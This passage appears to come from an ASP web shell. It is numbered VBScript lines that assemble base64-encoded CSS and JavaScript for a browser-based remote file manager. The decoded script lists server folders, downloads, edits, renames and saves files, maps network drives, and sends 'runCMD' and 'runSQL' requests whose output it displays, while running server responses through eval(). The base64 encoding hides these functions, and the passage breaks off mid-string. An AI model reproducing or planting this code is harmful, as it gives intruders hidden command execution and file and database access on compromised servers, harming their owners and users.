  716. "cjojNDBhMGVjOwp9CgouZm5hbWUgewoJd2lkdGg6NDAlOwp9CgouZnNpemUgewoJd2lkdGg6NyU7Cn0KCi5mdHlwZSB7Cgl3aWR0aDo5JTsKfQoKLmZkYXRlIHsKCXdpZHRoOjEzJTsKfQoKLmZjb21tYW5kIHsKCXdpZHRoOjclOwp9CgouZmNoZWNrIHsKCXdpZHRoOjQlOwp9CgouZmFjdGlvbiB7Cgl3aWR0aDoxOCU7Cn0KCi50" &_
  717. "YWJsZUhlYWQgewoJYmFja2dyb3VuZC1jb2xvcjoxMjEyMTI7CgloZWlnaHQ6MjU7IAp9CgojZ2FwMHsKCWRpc3BsYXk6bm9uZTsKfQoKI292ZXJsYXl7CglkaXNwbGF5Om5vbmU7Cgl6LWluZGV4OiA4MDsKCXBvc2l0aW9uOiBhYnNvbHV0ZTsKCXRvcDogMDsKCWxlZnQ6IDA7Cgl3aWR0aDogMTAwJTsKCWhlaWdodDogMTAwJTsK" &_
  718. "CWJhY2tncm91bmQtY29sb3I6ICMwMDA7CglvcGFjaXR5OjAuNDsKCWZpbHRlcjphbHBoYShvcGFjaXR5PTQwKTsKfQoKCiN0YmxMb2FkaW5nLCAjdGJsTWFwRHJpdmVyIHsKCWRpc3BsYXk6bm9uZTsKCXotaW5kZXg6IDkwOwoJcG9zaXRpb246Zml4ZWQ7CglfcG9zaXRpb246YWJzb2x1dGU7Cgl0b3A6NTAlOyBsZWZ0OjUwJTsK" &_
  719. "CW1hcmdpbjotNTBweCBhdXRvIGF1dG8gLTEwMHB4OwoJX3RvcDpleHByZXNzaW9uKGRvY3VtZW50LmJvZHkuc2Nyb2xsVG9wKyhkb2N1bWVudC5ib2R5LmNsaWVudEhlaWdodC10aGlzLmNsaWVudEhlaWdodCkvMik7dGV4dC1hbGlnbjpjZW50ZXI7Cn0KCiN0YmxNZW51IHsKCXotaW5kZXg6IDcwOwoJcG9zaXRpb246Zml4ZWQ7" &_
  720. "CglfcG9zaXRpb246YWJzb2x1dGU7Cgl0b3A6MiU7IGxlZnQ6NTAlOwoJbWFyZ2luOi01MHB4IGF1dG8gYXV0byAtMTAwcHg7CglfdG9wOmV4cHJlc3Npb24oZG9jdW1lbnQuYm9keS5zY3JvbGxUb3ArKGRvY3VtZW50LmJvZHkuY2xpZW50SGVpZ2h0LXRoaXMuY2xpZW50SGVpZ2h0KS81MCk7dGV4dC1hbGlnbjpjZW50ZXI7Cn0="
  721.  
  722. script = "" &_
  723. "dmFyIGlzSUU9LypAY2Nfb24hQCovZmFsc2U7Ly9JRSBkZXRlY3Rvcgp2YXIgbGFzdFVybCA9ICcjRXhwbG9yZXJ8XFwnOwp2YXIgbGFzdFVybEJhY2t1cCA9ICcjRXhwbG9yZXJ8XFwnOwp2YXIgY3VycmVudF91cmwgPSAnJzsKdmFyIGN1cnJlbnRfcnVubmluZyA9IGZhbHNlOwp2YXIgZmllbGQgPSAnJzsKdmFyIGludGVydmFs" &_
  724. "ID0gJyc7CnZhciBodHRwID0gY3JlYXRlUmVxdWVzdE9iamVjdCgpOwp2YXIgZmZMaXN0ID0gbnVsbDsKdmFyIGxzdFJlc3BvbnNlID0gbnVsbDsKdmFyIGFjdGlvblJlc3BvbnNlID0gbnVsbDsKdmFyIGV4dF90ZXh0ID0gJy50eHQuYXNwLmFzcHgucGhwLmNmbS5qcy5jb25maWcuaHRtLmh0bWwueG1sLmNzcy5pbmkuYmF0LmNt" &_
  725. "ZC5jcy52Yi5hc3guaW5jLmFzYS5hc2F4LmFzY3gubG9nLic7CnZhciBleHRfaW1nID0gJy5qcGcuanBlLmpwZWcucG5nLmdpZi5wbmcudGlmZi5ibXAuJzsKdmFyIGltZ19sb2FkaW5nID0gbnVsbDsKdmFyIGltZ192aWV3ID0gbnVsbDsKdmFyIHNhdmVUaW1lciA9IDA7CnZhciBwb3NTUUwgPSAwOwp2YXIgcG9zRXhwID0gMDsK" &_
  726. "dmFyIG5vRmlsZSA9IDA7CnZhciBub0ZvbGRlciA9IDA7CgpTdHJpbmcucHJvdG90eXBlLnRyaW0gPSBmdW5jdGlvbigpIHsKCXJldHVybiB0aGlzLnJlcGxhY2UoL15ccyt8XHMrJC9nLCIiKTsKfQoKU3RyaW5nLnByb3RvdHlwZS5zdGFydHNXaXRoID0gZnVuY3Rpb24oc3RyKXsKICAgIHJldHVybiAodGhpcy5pbmRleE9mKHN0" &_
  727. "cikgPT09IDApOwp9CgpTdHJpbmcucHJvdG90eXBlLmFkZFNsYXNoID0gZnVuY3Rpb24oKXsKCXBhdGggPSB0aGlzOwoJaWYocGF0aC5sZW5ndGg8MSkgcmV0dXJuIHBhdGg7CglpZihwYXRoLnN1YnN0cmluZyhwYXRoLmxlbmd0aCAtMSkgIT0gJ1xcJykKCXsKCQlwYXRoICs9ICdcXCc7Cgl9CglyZXR1cm4gcGF0aDsKfQoKQXJy" &_
  728. "YXkucHJvdG90eXBlLnJlbW92ZSA9IGZ1bmN0aW9uKG5hbWUpIHsKCXZhciBpZCA9IHRoaXMubGlzdEZpbmQobmFtZSk7CglpZiAoaWQgPiAtMSkgdGhpcy5zcGxpY2UoaWQsIDEpOwp9CgpBcnJheS5wcm90b3R5cGUubGlzdEZpbmQgPSBmdW5jdGlvbihuYW1lKSB7Cglmb3IoeD0wO3g8dGhpcy5sZW5ndGg7eCsrKQoJewoJCWlm" &_
  729. "KHRoaXNbeF0uc3RhcnRzV2l0aChuYW1lKyJ8IikpIHJldHVybiB4OwoJfQoJcmV0dXJuIC0xOwp9CgpmdW5jdGlvbiBjb21wYXJlTmFtZXMoYSwgYikgewoJdmFyIG5hbWVBID0gYS5zcGxpdCgifCIpWzBdLnRvTG93ZXJDYXNlKCApOwoJdmFyIG5hbWVCID0gYi5zcGxpdCgifCIpWzBdLnRvTG93ZXJDYXNlKCApOwoJaWYgKG5h" &_
  730. "bWVBIDwgbmFtZUIpIHtyZXR1cm4gLTF9CglpZiAobmFtZUEgPiBuYW1lQikge3JldHVybiAxfQoJcmV0dXJuIDA7Cn0KCmZ1bmN0aW9uIGFkZEV2ZW50KG9iaiwgZXZUeXBlLCBmbiwgdXNlQ2FwdHVyZSl7CiAgaWYgKG9iai5hZGRFdmVudExpc3RlbmVyKXsKICAgIG9iai5hZGRFdmVudExpc3RlbmVyKGV2VHlwZSwgZm4sIHVz" &_
  731. "ZUNhcHR1cmUpOwogICAgcmV0dXJuIHRydWU7CiAgfSBlbHNlIGlmIChvYmouYXR0YWNoRXZlbnQpewogICAgdmFyIHIgPSBvYmouYXR0YWNoRXZlbnQoIm9uIitldlR5cGUsIGZuKTsKICAgIHJldHVybiByOwogIH0gZWxzZSB7CiAgICBhbGVydCgiSGFuZGxlciBjb3VsZCBub3QgYmUgYXR0YWNoZWQiKTsKICB9Cn0KCmZ1bmN0" &_
  732. "aW9uIGNyZWF0SW1hZ2UobmFtZSkgewoJaW1nVGFnID0gIiI7CgoJZXh0TmFtZSA9IG5hbWUudG9Mb3dlckNhc2UoKS5zcGxpdCgnLicpOwoJZXh0TmFtZSA9IGV4dE5hbWVbZXh0TmFtZS5sZW5ndGgtMV07CgoJaWYoZXh0X2ltZy5zZWFyY2goJy4nK2V4dE5hbWUrJy4nKSA+IC0xKQoJCWltZ1RhZyA9ICImbmJzcDsmbmJzcDs8" &_
  733. "aW1nIHNyYz0nP21vZGU9aW1hZ2UmaW1nSWQ9aW1nJz48QSBocmVmPScjVmlld3wiICsgZmZMaXN0LmluZm8ucGF0aC5hZGRTbGFzaCgpICsgbmFtZSArICInPiIgKyBuYW1lICsgIjwvQT4iCgllbHNlCgkJaW1nVGFnID0gIiZuYnNwOyZuYnNwOzxpbWcgc3JjPSc/bW9kZT1pbWFnZSZpbWdJZD11bmtub3cnPjxBIGhyZWY9Jz9t" &_
  734. "b2RlPWRvd25sb2FkJmxvY2F0aW9uPSIgKyBmZkxpc3QuaW5mby5wYXRoICsgIiZmaWxlPSIrbmFtZSsiJz4iICsgbmFtZSArICI8L0E+IjsKCglpZihleHRfdGV4dC5zZWFyY2goJy4nK2V4dE5hbWUrJy4nKSA+IC0xKQoJCWltZ1RhZyA9ICImbmJzcDsmbmJzcDs8aW1nIHNyYz0nP21vZGU9aW1hZ2UmaW1nSWQ9dHh0Jz48QSBo" &_
  735. "cmVmPScjRWRpdHwiICsgZmZMaXN0LmluZm8ucGF0aC5hZGRTbGFzaCgpICsgbmFtZSArICInPiIgKyBuYW1lICsgIjwvQT4iOwoKCXJldHVybiBpbWdUYWc7Cn0KCmZ1bmN0aW9uIGdldElkKGlkKSB7Cgl2YXIgbmV3SWQgPSBmYWxzZTsKCglpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQpIHsgLy8gRE9NMyA9IElFNSwgTlM2" &_
  736. "CgkJbmV3SWQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCk7Cgl9CgllbHNlIHsKCQlpZiAoZG9jdW1lbnQubGF5ZXJzKSB7IC8vIE5ldHNjYXBlIDQKCQkJbmV3SWQgPSBkb2N1bWVudC5pZDsKCQl9CgkJZWxzZSB7IC8vIElFIDQKCQkJbmV3SWQgPSBkb2N1bWVudC5hbGwuaWQ7CgkJfQoJfQoJcmV0dXJuIG5ld0lkOwp9" &_
  737. "CgpmdW5jdGlvbiBjcmVhdGVSZXF1ZXN0T2JqZWN0KCkgewoJdmFyIHhtbGh0dHAgPSBmYWxzZTsKICBpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KSB7CgkgeG1saHR0cCA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwoJIGlmICh4bWxodHRwLm92ZXJyaWRlTWltZVR5cGUpIHhtbGh0dHAub3ZlcnJpZGVNaW1lVHlwZSgndGV4dC9o" &_
  738. "dG1sJyk7CiAgfSBlbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkgewoJIHRyeSB7CgkJeG1saHR0cCA9IG5ldyBBY3RpdmVYT2JqZWN0KCJNc3htbDIuWE1MSFRUUCIpOwoJIH0gY2F0Y2ggKGUpIHsKCQl0cnkgewoJCSAgIHhtbGh0dHAgPSBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTsKCQl9IGNh" &_
  739. "dGNoIChlKSB7fQoJIH0KICB9CiAgcmV0dXJuIHhtbGh0dHA7Cn0KCmZ1bmN0aW9uIHNlbmRSZXF1ZXN0KGxvY2F0aW9uLCBpdGVtU3RhcnQpIHsKCXRyeXsKCQljdXJyZW50X3J1bm5pbmcgPSB0cnVlOwoJCXNob3dMb2FkaW5nKCk7CgkJaWYoIWl0ZW1TdGFydCkgaXRlbVN0YXJ0ID0gMTsKCQlsb2NhdGlvbiA9IGVuY29kZVVS" &_
  740. "SUNvbXBvbmVudChsb2NhdGlvbik7CgkJaHR0cC5vcGVuKCdQT1NUJywgZmZMaXN0LmluZm8uZmlsZXBhdGgrIiIpOwoJCWh0dHAuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOwoJCWh0dHAub25yZWFkeXN0YXRlY2hhbmdlID0gaGFuZGxlUmVzcG9u" &_
  741. "c2U7CgkJaHR0cC5zZW5kKCdtb2RlPWV4cGxvcmVyJml0ZW1TdGFydD0nICsgaXRlbVN0YXJ0ICsgJyZsb2NhdGlvbj0nK2xvY2F0aW9uKTsKCX0KCWNhdGNoKGUpewoJCWNsZWFyVGltZW91dCAoIHNhdmVUaW1lciApOwoJCWFsZXJ0KCJKYXZhc2NyaXB0IFByb2JsZW0gISEhIik7CgkJc2hvd01vZGUoIkV4cGxvcmVyIiwgZmFs" &_
  742. "c2UpOwoJCWN1cnJlbnRfcnVubmluZyA9IGZhbHNlOwoJCWhpZGVMb2FkaW5nKCk7Cgl9CglmaW5hbGx5e30KfQoKZnVuY3Rpb24gc2VuZFJlcXVlc3RBY3Rpb24obW9kZSwgYWRkaXRpb24pIHsKCXRyeXsKCQljdXJyZW50X3J1bm5pbmcgPSB0cnVlOwoJCXNob3dMb2FkaW5nKCk7CgkJYWRkaXRpb25RdWVyeSA9ICcnOwoKCQlp" &_
  743. "ZigodHlwZW9mKGFkZGl0aW9uKSkudG9Mb3dlckNhc2UoKSA9PSAnb2JqZWN0JykKCQkJaWYoYWRkaXRpb24ubGVudGggPSAyKQoJCQkJaWYoYWRkaXRpb25bMF0ubGVuZ3RoID4gMCAmJiBhZGRpdGlvblswXS5sZW5ndGggPT0gYWRkaXRpb25bMV0ubGVuZ3RoKQoJCQkJCWZvciAoaT0wO2k8YWRkaXRpb25bMF0ubGVuZ3RoO2kr" &_
  744. "Kyl7CgkJCQkJCWFkZGl0aW9uUXVlcnkgKz0gJyYnK2FkZGl0aW9uWzBdW2ldKyc9JytlbmNvZGVVUklDb21wb25lbnQoYWRkaXRpb25bMV1baV0pOwoJCQkJCX0KCgkJaWYoYWRkaXRpb25RdWVyeSA9PSAnJykKCQl7CgkJCWFsZXJ0KCJXcm9uZyByZXF1ZXN0ICEhIik7CgkJCWN1cnJlbnRfcnVubmluZyA9IGZhbHNlOwoJCQlo" &_
  745. "aWRlTG9hZGluZygpOwoJCQlyZXR1cm47CgkJfQoKCQljdXJyZW50X2xvY2F0aW9uID0gZW5jb2RlVVJJQ29tcG9uZW50KGZmTGlzdC5pbmZvLnBhdGgpOwoJCWh0dHAub3BlbignUE9TVCcsIGZmTGlzdC5pbmZvLmZpbGVwYXRoKyIiKTsKCQlodHRwLnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlv" &_
  746. "bi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsKCQlodHRwLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGhhbmRsZUFjdGlvblJlc3BvbnNlOwoJCWh0dHAuc2VuZCgnbW9kZT0nK21vZGUrJyZsb2NhdGlvbj0nK2N1cnJlbnRfbG9jYXRpb24rYWRkaXRpb25RdWVyeSk7Cgl9CgljYXRjaChlKXsKCQljbGVhclRpbWVvdXQgKCBzYXZlVGlt" &_
  747. "ZXIgKTsKCQlhbGVydCgiSmF2YXNjcmlwdCBQcm9ibGVtICEhISIpOwoJCXNob3dNb2RlKCJFeHBsb3JlciIsIHRydWUpOwoJCWN1cnJlbnRfcnVubmluZyA9IGZhbHNlOwoJCWhpZGVMb2FkaW5nKCk7Cgl9CglmaW5hbGx5e30KfQoKZnVuY3Rpb24gaGFuZGxlUmVzcG9uc2UoKSB7Cgl0cnkgewoJCWlmKGh0dHAucmVhZHlTdGF0" &_
  748. "ZSA9PSA0KXsKCQkJdmFyIGNoYW5nZVVybCA9IGZhbHNlOwoJCQl2YXIgcmVzcG9uc2UgPSAnJzsKCQkJaWYgKGh0dHAuc3RhdHVzID09IDIwMCl7CgkJCQlyZXNwb25zZSA9IGh0dHAucmVzcG9uc2VUZXh0OwoJCQkJaWYgKHJlc3BvbnNlLnN0YXJ0c1dpdGgoImxzdFJlc3BvbnNlIikgJiYgZXZhbCgiIiArIHJlc3BvbnNlICsg" &_
  749. "IiIpKSB7CgkJCQkJaWYobHN0UmVzcG9uc2UuZXJyb3IpCgkJCQkJewoJCQkJCQljaGFuZ2VVcmwgPSB0cnVlOwoKCQkJCQkJYWxlcnQoIkNhbid0IGFjY2VzcyB0byBcIiIgKyBsc3RSZXNwb25zZS5pbmZvLnBhdGguYWRkU2xhc2goKSArICJcIiA6ICIgKyBsc3RSZXNwb25zZS5lcnJvci5lcnJvckRlc2MpOwoJCQkJCQlnZXRJ" &_
  750. "ZCgnZXJyQ29kZScpLmlubmVySFRNTCA9IGxzdFJlc3BvbnNlLmVycm9yLmVycm9yOwoJCQkJCQlnZXRJZCgnZXJyRGVzYycpLmlubmVySFRNTCA9ICJDYW4ndCBhY2Nlc3MgdG8gXCIiICsgbHN0UmVzcG9uc2UuaW5mby5wYXRoLmFkZFNsYXNoKCkgKyAiXCIgOiAiICsgbHN0UmVzcG9uc2UuZXJyb3IuZXJyb3JEZXNjOwoJCQkJ" &_
  751. "CQlzaG93ZGl2KCJ0YmxFcnIiLCB0cnVlLCB0cnVlKTsKCQkJCQl9ZWxzZXsKCQkJCQkJc2hvd2RpdigidGJsRXJyIiwgZmFsc2UpOwoJCQkJCQlzaG93ZGl2KCJidExvYWRtb3JlIiwgIWxzdFJlc3BvbnNlLnN0YXR1cy5maW5pc2hlZCk7CgkJCQkJCWlmKGxzdFJlc3BvbnNlLnN0YXR1cy5pdGVtU3RhcnQgPT0gMSl7CgkJCQkJ" &_
  752. "CQlmZkxpc3QgPSBsc3RSZXNwb25zZTsKCQkJCQkJCW5vRm9sZGVyID0gMDsKCQkJCQkJCW5vRmlsZSA9IDA7CgkJCQkJCQlsYXN0VXJsQmFja3VwID0gd2luZG93LmxvY2F0aW9uLmhyZWY7CgkJCQkJCQlnZXRJZCgicmVtb3RlIikudmFsdWU9ZmZMaXN0LmluZm8ucGF0aC5hZGRTbGFzaCgpOwoJCQkJCQkJZ2V0SWQoInJlbW90" &_
  753. "ZUNvcHkiKS52YWx1ZSA9IGZmTGlzdC5pbmZvLnBhdGguYWRkU2xhc2goKTsKCQkJCQkJCWdldElkKCJyZW1vdGVNb3ZlIikudmFsdWUgPSBmZkxpc3QuaW5mby5wYXRoLmFkZFNsYXNoKCk7CgkJCQkJCX1lbHNlewoJCQkJCQkJZmZMaXN0LnN0YXR1cy5pdGVtU3RhcnQgPSBsc3RSZXNwb25zZS5zdGF0dXMuaXRlbVN0YXJ0OwoJ" &_
  754. "CQkJCQkJZmZMaXN0LnN0YXR1cy5maW5pc2hlZCA9IGxzdFJlc3BvbnNlLnN0YXR1cy5maW5pc2hlZDsKCQkJCQkJCWZmTGlzdC5mb2xkZXJzID0gZmZMaXN0LmZvbGRlcnMuY29uY2F0KGxzdFJlc3BvbnNlLmZvbGRlcnMpOwoJCQkJCQkJZmZMaXN0LmZpbGVzID0gZmZMaXN0LmZpbGVzLmNvbmNhdChsc3RSZXNwb25zZS5maWxl" &_
  755. "cyk7CgkJCQkJCX0KCQkJCQkJLy9mZkxpc3QuZm9sZGVycy5zb3J0KGNvbXBhcmVOYW1lcyk7CgkJCQkJCS8vZmZMaXN0LmZpbGVzLnNvcnQoY29tcGFyZU5hbWVzKTsKCQkJCQkJZGlzcGxheUNvbnRlbnQobHN0UmVzcG9uc2UuZm9sZGVycy5sZW5ndGgsIGxzdFJlc3BvbnNlLmZpbGVzLmxlbmd0aCk7CgkJCQkJfQoJCQkJfWVs" &_
  756. "c2V7CgkJCQkJCWlmKHJlc3BvbnNlID09ICcnKXsKCQkJCQkJCWFsZXJ0KCJTZXNzaW9uIFRpbWVvdXQuIFBsZWFzZSBsb2dpbiBhZ2FpbiAhIik7CgkJCQkJCX1lbHNlewoJCQkJCQkJYWxlcnQoIkJhZCByZXNwb25zZSAhISEiKTsKCQkJCQkJfQoJCQkJCQljaGFuZ2VVcmwgPSB0cnVlOwoJCQkJfQoJCQl9ZWxzZXsKCQkJCQlj" &_
  757. "bGVhclRpbWVvdXQgKCBzYXZlVGltZXIgKTsKCQkJCQlhbGVydCgiQmFkIHJlc3BvbnNlIEhUVFAgU3RhdHVzICgiKyBodHRwLnN0YXR1cyArIikgISEhIik7CgkJCQkJY2hhbmdlVXJsID0gdHJ1ZTsKCQkJCX0KCQkJc2hvd01vZGUoJ0V4cGxvcmVyJywgY2hhbmdlVXJsKTsKCQkJY3VycmVudF9ydW5uaW5nID0gZmFsc2U7CgkJ" &_
  758. "CWhpZGVMb2FkaW5nKCk7CgkJfQogIAl9Y2F0Y2goZSl7CgkJY2xlYXJUaW1lb3V0ICggc2F2ZVRpbWVyICk7CgkJYWxlcnQoIkphdmFzY3JpcHQgUHJvYmxlbSAhISEiKTsKCQlzaG93TW9kZSgiRXhwbG9yZXIiLCBmYWxzZSk7CgkJY3VycmVudF9ydW5uaW5nID0gZmFsc2U7CgkJaGlkZUxvYWRpbmcoKTsKCX0KCWZpbmFsbHl7" &_
  759. "fQp9CgpmdW5jdGlvbiBoYW5kbGVBY3Rpb25SZXNwb25zZSgpIHsKCXRyeSB7CgkJaWYoaHR0cC5yZWFkeVN0YXRlID09IDQpewoJCQl2YXIgc2hvd0NvbnRlbnQgPSAiRXhwbG9yZXIiOwoJCQl2YXIgY2hhbmdlVXJsID0gZmFsc2U7CgkJCXZhciByZXNwb25zZSA9ICcnOwoJCQlpZiAoaHR0cC5zdGF0dXMgPT0gMjAwKXsKCQkJ" &_
  760. "CXJlc3BvbnNlID0gaHR0cC5yZXNwb25zZVRleHQ7CgkJCQlpZiAocmVzcG9uc2Uuc3RhcnRzV2l0aCgiYWN0aW9uUmVzcG9uc2UiKSAmJiBldmFsKCIiICsgcmVzcG9uc2UgKyAiIikpIHsKCQkJCQlpZihhY3Rpb25SZXNwb25zZS5hY3Rpb24uZXJyb3IgIT0gMCkKCQkJCQl7CgkJCQkJCWFsZXJ0KGFjdGlvblJlc3BvbnNlLmFj" &_
  761. "dGlvbi5lcnJvckRlc2MpOwoJCQkJCQlnZXRJZCgnZXJyQ29kZScpLmlubmVySFRNTCA9IGFjdGlvblJlc3BvbnNlLmFjdGlvbi5lcnJvcjsKCQkJCQkJZ2V0SWQoJ2VyckRlc2MnKS5pbm5lckhUTUwgPSBhY3Rpb25SZXNwb25zZS5hY3Rpb24uZXJyb3JEZXNjLnJlcGxhY2UoIlxyXG5cclxuIiwgIjxQPiIpLnJlcGxhY2UoIlxy" &_
  762. "XG4iLCAiPEJSPiIpICsgJyZuYnNwOyc7CgoJCQkJCQlzaG93ZGl2KCJ0YmxFcnIiLCB0cnVlLCB0cnVlKTsKCgkJCQkJCXN3aXRjaCAoYWN0aW9uUmVzcG9uc2UuYWN0aW9uLmFjdGlvbil7CgkJCQkJCWNhc2UgInJ1blNRTCIgOgoJCQkJCQkJZGlzcGxheVNRTENvbnRlbnQoYWN0aW9uUmVzcG9uc2UpOwoJCQkJCQkJc2hvd0Nv" &_
  763. "bnRlbnQgPSAiU1FMIjsKCQkJCQkJCWJyZWFrOwoJCQkJCQljYXNlICJydW5DTUQiIDoKCQkJCQkJCXNob3dDb250ZW50ID0gIkNNRCI7CgkJCQkJCQlicmVhazsKCQkJCQkJZGVmYXVsdDoKCQkJCQkJCWNoYW5nZVVybCA9IHRydWU7CgkJCQkJCX0KCQkJCQl9ZWxzZXsKCQkJCQkJc3dpdGNoIChhY3Rpb25SZXNwb25zZS5hY3Rp" &_
  764. "b24uYWN0aW9uKXsKCQkJCQkJY2FzZSAicmVuYW1lRmlsZSIgOgoJCQkJCQkJZmZMaXN0LmZpbGVzW2FjdGlvblJlc3BvbnNlLmFjdGlvbi5maWxlSWRdID0gZmZMaXN0LmZpbGVzW2FjdGlvblJlc3BvbnNlLmFjdGlvbi5maWxlSWRdLnJlcGxhY2UoYWN0aW9uUmVzcG9uc2UuYWN0aW9uLmZpbGVOYW1lLCBhY3Rpb25SZXNwb25z" &_
  765. "ZS5hY3Rpb24ubmV3TmFtZSk7CgkJCQkJCQlnZXRJZCgnZmlsZScrYWN0aW9uUmVzcG9uc2UuYWN0aW9uLmZpbGVJZCkuY2hpbGROb2Rlc1swXS5pbm5lckhUTUwgPSBhZGRGaWxlUm93KGFjdGlvblJlc3BvbnNlLmFjdGlvbi5maWxlSWQpLmNoaWxkTm9kZXNbMF0uaW5uZXJIVE1MOwoJCQkJCQkJZ2V0SWQoJ2ZpbGUnK2FjdGlv" &_
  766. "blJlc3BvbnNlLmFjdGlvbi5maWxlSWQpLmNoaWxkTm9kZXNbNl0uaW5uZXJIVE1MID0gYWRkRmlsZVJvdyhhY3Rpb25SZXNwb25zZS5hY3Rpb24uZmlsZUlkKS5jaGlsZE5vZGVzWzZdLmlubmVySFRNTDsKCQkJCQkJCWJyZWFrOwoJCQkJCQljYXNlICJyZW5hbWVGb2xkZXIiIDoKCQkJCQkJCWZmTGlzdC5mb2xkZXJzW2FjdGlv" &_
  767. "blJlc3BvbnNlLmFjdGlvbi5mb2xkZXJJZF0gPSBmZkxpc3QuZm9sZGVyc1thY3Rpb25SZXNwb25zZS5hY3Rpb24uZm9sZGVySWRdLnJlcGxhY2UoYWN0aW9uUmVzcG9uc2UuYWN0aW9uLmZvbGRlck5hbWUsIGFjdGlvblJlc3BvbnNlLmFjdGlvbi5uZXdOYW1lKTsKCQkJCQkJCWdldElkKCdmb2xkZXInK2FjdGlvblJlc3BvbnNl" &_
  768. "LmFjdGlvbi5mb2xkZXJJZCkuZmlyc3RDaGlsZC5pbm5lckhUTUwgPSAiJm5ic3A7Jm5ic3A7PGltZyBzcmM9Jz9tb2RlPWltYWdlJmltZ0lkPWRpcic+PEEgaHJlZj0nI0V4cGxvcmVyfCIgKyBmZkxpc3QuaW5mby5wYXRoICsgYWN0aW9uUmVzcG9uc2UuYWN0aW9uLm5ld05hbWUuYWRkU2xhc2goKSsiJz4iICsgYWN0aW9uUmVz" &_
  769. "cG9uc2UuYWN0aW9uLm5ld05hbWUgKyAiPC9BPiI7CgkJCQkJCQlicmVhazsKCQkJCQkJY2FzZSAicmVtb3ZlRHJpdmVyIiA6CgkJCQkJCQlnZXRJZCgidGJsRHJpdmVycyIpLmZpcnN0Q2hpbGQucmVtb3ZlQ2hpbGQoZ2V0SWQoImRyaXZlciIgKyBhY3Rpb25SZXNwb25zZS5hY3Rpb24uZHJpdmVyTGV0dGVyKSk7CgkJCQkJCQli" &_
  770. "cmVhazsKCQkJCQkJY2FzZSAibWFwRHJpdmVyIiA6CgkJCQkJCQluZXdSb3cgPSBhZGRUUihhY3Rpb25SZXNwb25zZS5hY3Rpb24uZHJpdmVyTGV0dGVyLCAiZHJpdmVyIik7CgkJCQkJCQluZXdDb2wgPSBhZGRURCgiPGEgaHJlZj0nI0V4cGxvcmVyfCIgKyBhY3Rpb25SZXNwb25zZS5hY3Rpb24uZHJpdmVyTGV0dGVyICsgIjpc" &_
  771. "XCcgdGl0bGU9JyIgKyBhY3Rpb25SZXNwb25zZS5hY3Rpb24ucmVtb3RlU2hhcmUgKyAiJz4mbmJzcDsmbmJzcDtOZXR3b3JrIERyaXZlIFsiICsgYWN0aW9uUmVzcG9uc2UuYWN0aW9uLmRyaXZlckxldHRlciArICI6XTwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPVwiamF2YXNjcmlwdDpyZW1vdmVEcml2ZXIoJyIgKyBhY3Rpb25S" &_
  772. "ZXNwb25zZS5hY3Rpb24uZHJpdmVyTGV0dGVyICsgIicpO1wiPltSZW1vdmVdPC9hPiIsICJrYnJ0bSIpOwoJCQkJCQkJbmV3Um93LmFwcGVuZENoaWxkKG5ld0NvbCk7CgkJCQkJCQlnZXRJZCgidGJsRHJpdmVycyIpLmZpcnN0Q2hpbGQuaW5zZXJ0QmVmb3JlKG5ld1JvdywgZ2V0SWQoImFkZE1hcE5ldHdvcmsiKSk7CgkJCQkJ" &_
  773. "CQlicmVhazsKCQkJCQkJY2FzZSAicnVuQ01EIiA6CgkJCQkJCQlzaG93Q29udGVudCA9ICJDTUQiOwoJCQkJCQkJZ2V0SWQoInR4dENtZFJlc3VsdCIpLnZhbHVlID0gYWN0aW9uUmVzcG9uc2UuYWN0aW9uLnJldHVybkNvbnRlbnQ7CgkJCQkJCQlicmVhazsKCQkJCQkJY2FzZSAicnVuU1FMIiA6CgkJCQkJCQlkaXNwbGF5U1FM" &_
  774. "Q29udGVudChhY3Rpb25SZXNwb25zZSk7CgkJCQkJCQlzaG93Q29udGVudCA9ICJTUUwiOwoJCQkJCQkJYnJlYWs7CgkJCQkJCWNhc2UgImxvYWRGaWxlIiA6CgkJCQkJCQlpZihhY3Rpb25SZXNwb25zZS5hY3Rpb24uaXRlbVNpemUgPiA1MTIwMDApewoJCQkJCQkJCWFsZXJ0KCJGaWxlIHNpemUgaXMgdG9vIGxhcmdlICgiICsg" &_
  775. "YWN0aW9uUmVzcG9uc2UuYWN0aW9uLml0ZW1TaXplVGV4dCArICIpLCBtYXhpbXVtIGlzIDUwMEtCLiBJdCBtYXkgY2F1c2UgeW91ciBicm93c2VyIGZyZWV6ZSAhIik7CgkJCQkJCQkJY2hhbmdlVXJsID0gdHJ1ZTsKCQkJCQkJCX1lbHNlewoJCQkJCQkJCXNob3dDb250ZW50ID0gIkVkaXQiOwoJCQkJCQkJCWdldElkKCJ0eHRD" &_
  776. "b250ZW50IikudmFsdWUgPSBhY3Rpb25SZXNwb25zZS5hY3Rpb24uaXRlbUNvbnRlbnQ7CgkJCQkJCQkJZ2V0SWQoImxibEZpbGUiKS5pbm5lckhUTUwgPSBnZXRWYXIod2luZG93LmxvY2F0aW9uLmhyZWYsMSk7CgkJCQkJCQl9CgkJCQkJCQlicmVhazsKCQkJCQkJY2FzZSAic2F2ZUZpbGUiIDoKCQkJCQkJCXNob3dDb250ZW50" &_
  777. "ID0gIkVkaXQiOwoJCQkJCQkJdmFyIGVkaXRQYXRoID0gZ2V0VmFyKHdpbmRvdy5sb2NhdGlvbi5ocmVmLDEpLnNwbGl0KCJcXCIpOwoJCQkJCQkJZ2V0SWQoImxibEZpbGUiKS5pbm5lckhUTUwgPSBnZXRWYXIod2luZG93LmxvY2F0aW9uLmhyZWYsMSk7CgkJCQkJCQlpZighc2F2ZVRpbWVyKQoJCQkJCQkJCWFsZXJ0KCJGaWxl" &_
